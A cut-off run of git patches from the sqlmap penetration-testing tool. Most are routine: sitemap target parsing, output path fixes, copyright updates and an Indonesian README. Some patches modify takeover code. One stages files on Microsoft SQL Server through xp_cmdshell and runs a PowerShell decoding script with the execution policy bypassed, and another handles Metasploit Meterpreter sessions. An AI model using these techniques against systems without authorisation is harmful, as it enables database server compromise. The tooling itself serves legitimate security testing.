randomStr(lowercase=True) randPSScriptPath = "%s\%s" % (tmpPath, randPSScript) - wFileSize = len(wFileContent) + wFileSize = len(encodedFileContent) chunkMaxSize = 1024 logger.debug("uploading the base64-encoded file to %s, please wait.." % encodedBase64FilePath) @@ -186,9 +186,10 @@ class Filesystem(GenericFilesystem): self.xpCmdshellWriteFile(wEncodedChunk, tmpPath, encodedBase64File) #psString = "$Content = [System.Convert]::FromBase64String(\"%s\"); Set-Content -Path \"%s\" -Value $Content -Encoding Byte" % (encodedFileContent, dFile) - psString = "$Base64 = Get-Content -Path %s; $Content = " % encodedBase64FilePath + psString = "$Base64 = Get-Content -Path \"%s\"; " % encodedBase64FilePath + psString += "$Base64 = $Base64 -replace \"`t|`n|`r\",\"\"; $Content = " psString += "[System.Convert]::FromBase64String($Base64); Set-Content " - psString += "-Path %s -Value $Content -Encoding Byte" % dFile + psString += "-Path \"%s\" -Value $Content -Encoding Byte" % dFile logger.debug("uploading the PowerShell base64-decoding script to %s, please wait.." % randPSScriptPath) self.xpCmdshellWriteFile(psString, tmpPath, randPSScript) From 018748f52e4e0adc2a9eee2a421df55d4fdf5ad5 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Tue, 1 Jul 2014 00:34:09 +0100 Subject: [PATCH 362/889] increase the timeout for the Metasploit session initialization to 5 minutes, better on slow speed connections --- lib/core/settings.py | 2 +- lib/takeover/metasploit.py | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6965ac57a..863d9c970 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -572,7 +572,7 @@ FORM_SEARCH_REGEX = r"(?si)" MIN_ENCODED_LEN_CHECK = 5 # Timeout in seconds in which Metasploit remote session has to be initialized -METASPLOIT_SESSION_TIMEOUT = 180 +METASPLOIT_SESSION_TIMEOUT = 300 # Reference: http://www.cookiecentral.com/faq/#3.5 NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File." diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 36fac0120..e5d18935d 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -529,7 +529,6 @@ class Metasploit: time.sleep(2) initialized = True - elif timeout: proc.kill() errMsg = "timeout occurred while attempting " From b38bd1e7fdde0c52f8dbfe2d20f82db1791ef641 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Tue, 1 Jul 2014 00:35:02 +0100 Subject: [PATCH 363/889] code cleanup - issue #742 --- plugins/dbms/mssqlserver/filesystem.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 69a76340e..9b72685ff 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -185,16 +185,15 @@ class Filesystem(GenericFilesystem): wEncodedChunk = encodedFileContent[i:i + chunkMaxSize] self.xpCmdshellWriteFile(wEncodedChunk, tmpPath, encodedBase64File) - #psString = "$Content = [System.Convert]::FromBase64String(\"%s\"); Set-Content -Path \"%s\" -Value $Content -Encoding Byte" % (encodedFileContent, dFile) psString = "$Base64 = Get-Content -Path \"%s\"; " % encodedBase64FilePath psString += "$Base64 = $Base64 -replace \"`t|`n|`r\",\"\"; $Content = " psString += "[System.Convert]::FromBase64String($Base64); Set-Content " psString += "-Path \"%s\" -Value $Content -Encoding Byte" % dFile - logger.debug("uploading the PowerShell base64-decoding script to %s, please wait.." % randPSScriptPath) + logger.debug("uploading the PowerShell base64-decoding script to %s" % randPSScriptPath) self.xpCmdshellWriteFile(psString, tmpPath, randPSScript) - logger.debug("executing the PowerShell base64-decoding script to write the %s file" % dFile) + logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % dFile) commands = ("powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath, "del /F /Q \"%s\"" % randPSScriptPath) From 4e909a2a0541b3f551041aa1f942e629156e2d4f Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Tue, 1 Jul 2014 00:58:49 +0100 Subject: [PATCH 364/889] code cleanup --- lib/takeover/metasploit.py | 2 +- plugins/dbms/mssqlserver/filesystem.py | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index e5d18935d..e18aa9522 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -519,7 +519,7 @@ class Metasploit: timeout = time.time() - start_time > METASPLOIT_SESSION_TIMEOUT if not initialized: - match = re.search("session ([\d]+) opened", out) + match = re.search("Meterpreter session ([\d]+) opened", out) if match: self._loadMetExtensions(proc, match.group(1)) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 9b72685ff..577fd923b 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -196,6 +196,7 @@ class Filesystem(GenericFilesystem): logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % dFile) commands = ("powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath, + "del /F /Q \"%s\"" % encodedBase64FilePath, "del /F /Q \"%s\"" % randPSScriptPath) complComm = " & ".join(command for command in commands) From 1eecabaea812d7d903e0a9af5d681417ba24d412 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 2 Jul 2014 10:09:19 +0200 Subject: [PATCH 365/889] Patch for an Issue #746 --- lib/core/common.py | 2 +- lib/core/target.py | 26 +++++++++++--------------- 2 files changed, 12 insertions(+), 16 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 317893215..32ba4d903 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1043,7 +1043,7 @@ def setPaths(): paths.SQLMAP_UDF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "udf") paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "xml") paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner") - paths.SQLMAP_OUTPUT_PATH = paths.get("SQLMAP_OUTPUT_PATH", os.path.join(paths.SQLMAP_ROOT_PATH, "output")) + paths.SQLMAP_OUTPUT_PATH = paths.get("SQLMAP_OUTPUT_PATH", os.path.join(os.path.expanduser("~"), ".sqlmap", "output")) paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") diff --git a/lib/core/target.py b/lib/core/target.py index d4dddc393..25b5adb97 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -512,22 +512,18 @@ def _createTargetDirs(): if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH): try: - os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755) - except OSError, ex: - paths.SQLMAP_OUTPUT_PATH = os.path.join(os.path.expanduser("~"), ".sqlmap", "output") - try: - if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH): - os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755) - warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH - logger.warn(warnMsg) - except OSError, ex: - tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") - warnMsg = "unable to create regular output directory " - warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, ex) - warnMsg += "Using temporary directory '%s' instead" % tempDir - logger.warn(warnMsg) + if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH): + os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755) + warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH + logger.warn(warnMsg) + except OSError, ex: + tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") + warnMsg = "unable to create regular output directory " + warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, ex) + warnMsg += "Using temporary directory '%s' instead" % tempDir + logger.warn(warnMsg) - paths.SQLMAP_OUTPUT_PATH = tempDir + paths.SQLMAP_OUTPUT_PATH = tempDir conf.outputPath = os.path.join(paths.SQLMAP_OUTPUT_PATH, getUnicode(conf.hostname)) From e6d0d5a1c77ecded2dabbb022ece209de6623fcf Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 2 Jul 2014 22:27:51 +0200 Subject: [PATCH 366/889] Implementation for an Issue #674 --- lib/core/option.py | 51 ++++++++++++++++++++++++++++++++++------- lib/core/optiondict.py | 1 + lib/parse/cmdline.py | 6 +++-- lib/parse/configfile.py | 3 ++- sqlmap.conf | 4 ++++ 5 files changed, 54 insertions(+), 11 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index c9fe326fa..f3177acbc 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -135,6 +135,7 @@ from lib.core.threads import getCurrentThreadData from lib.core.update import update from lib.parse.configfile import configFileParser from lib.parse.payloads import loadPayloads +from lib.parse.sitemap import parseSitemap from lib.request.basic import checkCharEncoding from lib.request.connect import Connect as Request from lib.request.dns import DNSServer @@ -504,10 +505,13 @@ def _setCrawler(): if not conf.crawlDepth: return - if not conf.bulkFile: + if not any((conf.bulkFile, conf.sitemapUrl)): crawl(conf.url) else: - targets = getFileItems(conf.bulkFile) + if conf.bulkFile: + targets = getFileItems(conf.bulkFile) + else: + targets = parseSitemap(conf.sitemapUrl) for i in xrange(len(targets)): try: target = targets[i] @@ -618,10 +622,33 @@ def _setBulkMultipleTargets(): errMsg += "does not exist" raise SqlmapFilePathException(errMsg) + found = False for line in getFileItems(conf.bulkFile): if re.match(r"[^ ]+\?(.+)", line, re.I) or CUSTOM_INJECTION_MARK_CHAR in line: + found = True kb.targets.add((line.strip(), None, None, None)) + if not found and not conf.forms and not conf.crawlDepth: + warnMsg = "no usable links found (with GET parameters)" + logger.warn(warnMsg) + +def _setSitemapTargets(): + if not conf.sitemapUrl: + return + + infoMsg = "parsing sitemap '%s'" % conf.sitemapUrl + logger.info(infoMsg) + + found = False + for item in parseSitemap(conf.sitemapUrl): + if re.match(r"[^ ]+\?(.+)", item, re.I): + found = True + kb.targets.add((item.strip(), None, None, None)) + + if not found and not conf.forms and not conf.crawlDepth: + warnMsg = "no usable links found (with GET parameters)" + logger.warn(warnMsg) + def _findPageForms(): if not conf.forms or conf.crawlDepth: return @@ -632,11 +659,14 @@ def _findPageForms(): infoMsg = "searching for forms" logger.info(infoMsg) - if not conf.bulkFile: + if not any((conf.bulkFile, conf.sitemapUrl)): page, _ = Request.queryPage(content=True) findPageForms(page, conf.url, True, True) else: - targets = getFileItems(conf.bulkFile) + if conf.bulkFile: + targets = getFileItems(conf.bulkFile) + else: + targets = parseSitemap(conf.sitemapUrl) for i in xrange(len(targets)): try: target = targets[i] @@ -1449,13 +1479,16 @@ def _cleanupOptions(): if conf.dFile: conf.dFile = ntToPosixSlashes(normalizePath(conf.dFile)) + if conf.sitemapUrl and not conf.sitemapUrl.lower().startswith("http"): + conf.sitemapUrl = "http%s://%s" % ('s' if conf.forceSSL else '', conf.sitemapUrl) + if conf.msfPath: conf.msfPath = ntToPosixSlashes(normalizePath(conf.msfPath)) if conf.tmpPath: conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath)) - if conf.googleDork or conf.logFile or conf.bulkFile or conf.forms or conf.crawlDepth: + if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.forms, conf.crawlDepth)): conf.multipleTargets = True if conf.optimize: @@ -1631,6 +1664,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.extendTests = None kb.errorIsNone = True kb.fileReadMode = False + kb.followSitemapRecursion = None kb.forcedDbms = None kb.forcePartialUnion = False kb.headersFp = {} @@ -2130,8 +2164,8 @@ def _basicOptionValidation(): errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS raise SqlmapSyntaxException(errMsg) - if conf.forms and not any((conf.url, conf.bulkFile)): - errMsg = "switch '--forms' requires usage of option '-u' ('--url') or '-m'" + if conf.forms and not any((conf.url, conf.bulkFile, conf.sitemapUrl)): + errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-m' or '-x'" raise SqlmapSyntaxException(errMsg) if conf.requestFile and conf.url and conf.url != DUMMY_URL: @@ -2266,7 +2300,7 @@ def init(): parseTargetUrl() parseTargetDirect() - if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.liveTest)): + if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)): _setHTTPTimeout() _setHTTPExtraHeaders() _setHTTPCookies() @@ -2279,6 +2313,7 @@ def init(): _setSafeUrl() _setGoogleDorking() _setBulkMultipleTargets() + _setSitemapTargets() _urllib2Opener() _checkTor() _setCrawler() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 9a1c0e450..cfbd02b67 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -19,6 +19,7 @@ optDict = { "sessionFile": "string", "googleDork": "string", "configFile": "string", + "sitemapUrl": "string", }, "Request": { diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 292482348..74e06f321 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -75,6 +75,8 @@ def cmdLineParser(): target.add_option("-c", dest="configFile", help="Load options from a configuration INI file") + target.add_option("-x", dest="sitemapUrl", help="Load target URLs from remote sitemap(.xml) file") + # Request options request = OptionGroup(parser, "Request", "These options can be used " "to specify how to connect to the target URL") @@ -807,8 +809,8 @@ def cmdLineParser(): if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, \ args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, \ - args.purgeOutput, args.pickledOptions)): - errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --update, --purge-output or --dependencies), " + args.purgeOutput, args.pickledOptions, args.sitemapUrl)): + errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), " errMsg += "use -h for basic or -hh for advanced help" parser.error(errMsg) diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index 3715a3c97..ec8f72100 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -84,11 +84,12 @@ def configFileParser(configFile): condition &= not config.has_option("Target", "bulkFile") condition &= not config.has_option("Target", "googleDork") condition &= not config.has_option("Target", "requestFile") + condition &= not config.has_option("Target", "sitemapUrl") condition &= not config.has_option("Target", "wizard") if condition: errMsg = "missing a mandatory option in the configuration file " - errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile or wizard)" + errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile, sitemapUrl or wizard)" raise SqlmapMissingMandatoryOptionException(errMsg) for family, optionData in optDict.items(): diff --git a/sqlmap.conf b/sqlmap.conf index 984def442..9ebc3037c 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -32,6 +32,10 @@ requestFile = # Example: +ext:php +inurl:"&id=" +intext:"powered by " googleDork = +# Load target URLs from remote sitemap(.xml) file +# Example: http://192.168.1.121/sitemap.xml +sitemapUrl = + # These options can be used to specify how to connect to the target URL. [Request] From 9d571c7800019494bc5073ca6cdc48846b411f60 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 2 Jul 2014 22:31:18 +0200 Subject: [PATCH 367/889] Minor language update --- lib/parse/cmdline.py | 4 ++-- sqlmap.conf | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 74e06f321..ead78b126 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -63,6 +63,8 @@ def cmdLineParser(): target.add_option("-l", dest="logFile", help="Parse target(s) from Burp " "or WebScarab proxy log file") + target.add_option("-x", dest="sitemapUrl", help="Parse target(s) from remote sitemap(.xml) file") + target.add_option("-m", dest="bulkFile", help="Scan multiple targets given " "in a textual file ") @@ -75,8 +77,6 @@ def cmdLineParser(): target.add_option("-c", dest="configFile", help="Load options from a configuration INI file") - target.add_option("-x", dest="sitemapUrl", help="Load target URLs from remote sitemap(.xml) file") - # Request options request = OptionGroup(parser, "Request", "These options can be used " "to specify how to connect to the target URL") diff --git a/sqlmap.conf b/sqlmap.conf index 9ebc3037c..f89507c3e 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -32,7 +32,7 @@ requestFile = # Example: +ext:php +inurl:"&id=" +intext:"powered by " googleDork = -# Load target URLs from remote sitemap(.xml) file +# Parse target(s) from remote sitemap(.xml) file. # Example: http://192.168.1.121/sitemap.xml sitemapUrl = From b5838ae7a4aa265d73a5f6cce03323195721abf3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 3 Jul 2014 00:29:20 +0200 Subject: [PATCH 368/889] Adding missing module (Issue #674 and Issue #747) --- lib/parse/sitemap.py | 50 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100644 lib/parse/sitemap.py diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py new file mode 100644 index 000000000..16aaf1e47 --- /dev/null +++ b/lib/parse/sitemap.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import re + +from lib.core.common import readInput +from lib.core.data import kb +from lib.core.data import logger +from lib.request.connect import Connect as Request +from thirdparty.oset.pyoset import oset + +abortedFlag = None + +def parseSitemap(url, retVal=None): + global abortedFlag + + if retVal is not None: + logger.debug("parsing sitemap '%s'" % url) + + try: + if retVal is None: + abortedFlag = False + retVal = oset() + + content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" + for match in re.finditer(r"\s*([^<]+)", content): + if abortedFlag: + break + url = match.group(1).strip() + if url.endswith(".xml") and "sitemap" in url.lower(): + if kb.followSitemapRecursion is None: + message = "sitemap recursion detected. Do you want to follow? [y/N] " + test = readInput(message, default="N") + kb.followSitemapRecursion = test[0] in ("y", "Y") + if kb.followSitemapRecursion: + parseSitemap(url, retVal) + else: + retVal.add(url) + + except KeyboardInterrupt: + abortedFlag = True + warnMsg = "user aborted during sitemap parsing. sqlmap " + warnMsg += "will use partial list" + logger.warn(warnMsg) + + return retVal From e6916bdbc666b79e1084118cf83c39f05d7ec792 Mon Sep 17 00:00:00 2001 From: Igor Elias Date: Wed, 2 Jul 2014 21:16:35 -0300 Subject: [PATCH 369/889] updated copyright --- txt/common-columns.txt | 2 +- txt/common-outputs.txt | 2 +- txt/common-tables.txt | 2 +- txt/keywords.txt | 2 +- txt/user-agents.txt | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/txt/common-columns.txt b/txt/common-columns.txt index 7131f1437..edbba30a0 100644 --- a/txt/common-columns.txt +++ b/txt/common-columns.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) # See the file 'doc/COPYING' for copying permission id diff --git a/txt/common-outputs.txt b/txt/common-outputs.txt index 2dbac86df..efe569bed 100644 --- a/txt/common-outputs.txt +++ b/txt/common-outputs.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) # See the file 'doc/COPYING' for copying permission [Banners] diff --git a/txt/common-tables.txt b/txt/common-tables.txt index 8d0eacae0..ee4e71b48 100644 --- a/txt/common-tables.txt +++ b/txt/common-tables.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) # See the file 'doc/COPYING' for copying permission users diff --git a/txt/keywords.txt b/txt/keywords.txt index cd6877ef8..496d41c58 100644 --- a/txt/keywords.txt +++ b/txt/keywords.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) # See the file 'doc/COPYING' for copying permission # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml) diff --git a/txt/user-agents.txt b/txt/user-agents.txt index b36ddc21f..6c49e41cc 100644 --- a/txt/user-agents.txt +++ b/txt/user-agents.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) # See the file 'doc/COPYING' for copying permission Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1) From 8105275d9d012d94420b13bf3106ca30b2c199e0 Mon Sep 17 00:00:00 2001 From: Igor Elias Date: Wed, 2 Jul 2014 21:23:25 -0300 Subject: [PATCH 370/889] ... --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 897efd3b8..ae7289095 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,7 @@ sqlmap == + sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. Screenshots From 79a66ef22ce581b632ebf80a1e863500c4c096cd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Jul 2014 09:09:31 +0200 Subject: [PATCH 371/889] Minor patch --- lib/core/target.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/target.py b/lib/core/target.py index 25b5adb97..6ed69acba 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -525,7 +525,7 @@ def _createTargetDirs(): paths.SQLMAP_OUTPUT_PATH = tempDir - conf.outputPath = os.path.join(paths.SQLMAP_OUTPUT_PATH, getUnicode(conf.hostname)) + conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), getUnicode(conf.hostname)) if not os.path.isdir(conf.outputPath): try: From fada2dc5c6e8d5c4b283f4dc75e247c0afbcb475 Mon Sep 17 00:00:00 2001 From: Zaki Akhmad Date: Mon, 7 Jul 2014 13:21:07 +0700 Subject: [PATCH 372/889] id-ID: initiate Indonesian translations README --- doc/translations/README-id-ID.md | 53 ++++++++++++++++++++++++++++++++ 1 file changed, 53 insertions(+) create mode 100644 doc/translations/README-id-ID.md diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md new file mode 100644 index 000000000..15cc709d2 --- /dev/null +++ b/doc/translations/README-id-ID.md @@ -0,0 +1,53 @@ +sqlmap +== + +sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. + +Tangkapan Layar +---- + +![Tangkapan Layar](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demonstra alguns dos recursos apresentados na wiki. + +Instalasi +---- + +Você pode baixar o arquivo tar mais recente clicando [aqui] +(https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master). + +De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap): + + git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap funciona em [Python](http://www.python.org/download/) nas versões **2.6.x** e **2.7.x** em todas as plataformas. + +Penggunaan +---- + +Para obter uma lista das opções básicas faça: + + python sqlmap.py -h + +Para obter a lista completa de opções faça: + + python sqlmap.py -hh + +Você pode encontrar alguns exemplos [aqui](https://gist.github.com/stamparm/5335217). +Para ter uma visão geral dos recursos do sqlmap, lista de recursos suportados e a descrição de todas as opções, juntamente com exemplos, aconselhamos que você consulte o [manual do usuário](https://github.com/sqlmapproject/sqlmap/wiki). + +Tautan +---- + +* Situs: http://sqlmap.org +* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki +* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* Berlangganan milis: https://lists.sourceforge.net/lists/listinfo/sqlmap-users +* RSS feed milis: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap +* Arsip milis: http://news.gmane.org/gmane.comp.security.sqlmap +* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* Demonstrações: [#1](http://www.youtube.com/user/inquisb/videos) e [#2](http://www.youtube.com/user/stamparm/videos) +* Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots From 833a51411ce57f8f425a4a16f4c6745895e74a6a Mon Sep 17 00:00:00 2001 From: Zaki Akhmad Date: Mon, 7 Jul 2014 13:42:17 +0700 Subject: [PATCH 373/889] id-ID: translate the README to Indonesian --- doc/translations/README-id-ID.md | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md index 15cc709d2..e2957b119 100644 --- a/doc/translations/README-id-ID.md +++ b/doc/translations/README-id-ID.md @@ -1,53 +1,53 @@ sqlmap == -sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. +sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. Tangkapan Layar ---- ![Tangkapan Layar](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demonstra alguns dos recursos apresentados na wiki. +Anda dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki. Instalasi ---- -Você pode baixar o arquivo tar mais recente clicando [aqui] -(https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master). +Anda dapat mengunduh tarball versi terbaru [di sini] +(https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master). -De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap): +Sebagai alternatif, Anda dapat mengunduh sqlmap dengan men-_clone_ repositori [Git](https://github.com/sqlmapproject/sqlmap): git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap funciona em [Python](http://www.python.org/download/) nas versões **2.6.x** e **2.7.x** em todas as plataformas. +sqlmap berfungsi langsung pada [Python](http://www.python.org/download/) versi **2.6.x** dan **2.7.x** pada platform apapun. Penggunaan ---- -Para obter uma lista das opções básicas faça: +Untuk mendapatkan daftar opsi dasar gunakan: python sqlmap.py -h -Para obter a lista completa de opções faça: +Untuk mendapatkan daftar opsi lanjut gunakan: python sqlmap.py -hh -Você pode encontrar alguns exemplos [aqui](https://gist.github.com/stamparm/5335217). -Para ter uma visão geral dos recursos do sqlmap, lista de recursos suportados e a descrição de todas as opções, juntamente com exemplos, aconselhamos que você consulte o [manual do usuário](https://github.com/sqlmapproject/sqlmap/wiki). +Anda dapat mendapatkan contoh penggunaan [di sini](https://gist.github.com/stamparm/5335217). +Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [manual pengguna](https://github.com/sqlmapproject/sqlmap/wiki). Tautan ---- * Situs: http://sqlmap.org * Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) -* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues -* Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki +* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki * Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * 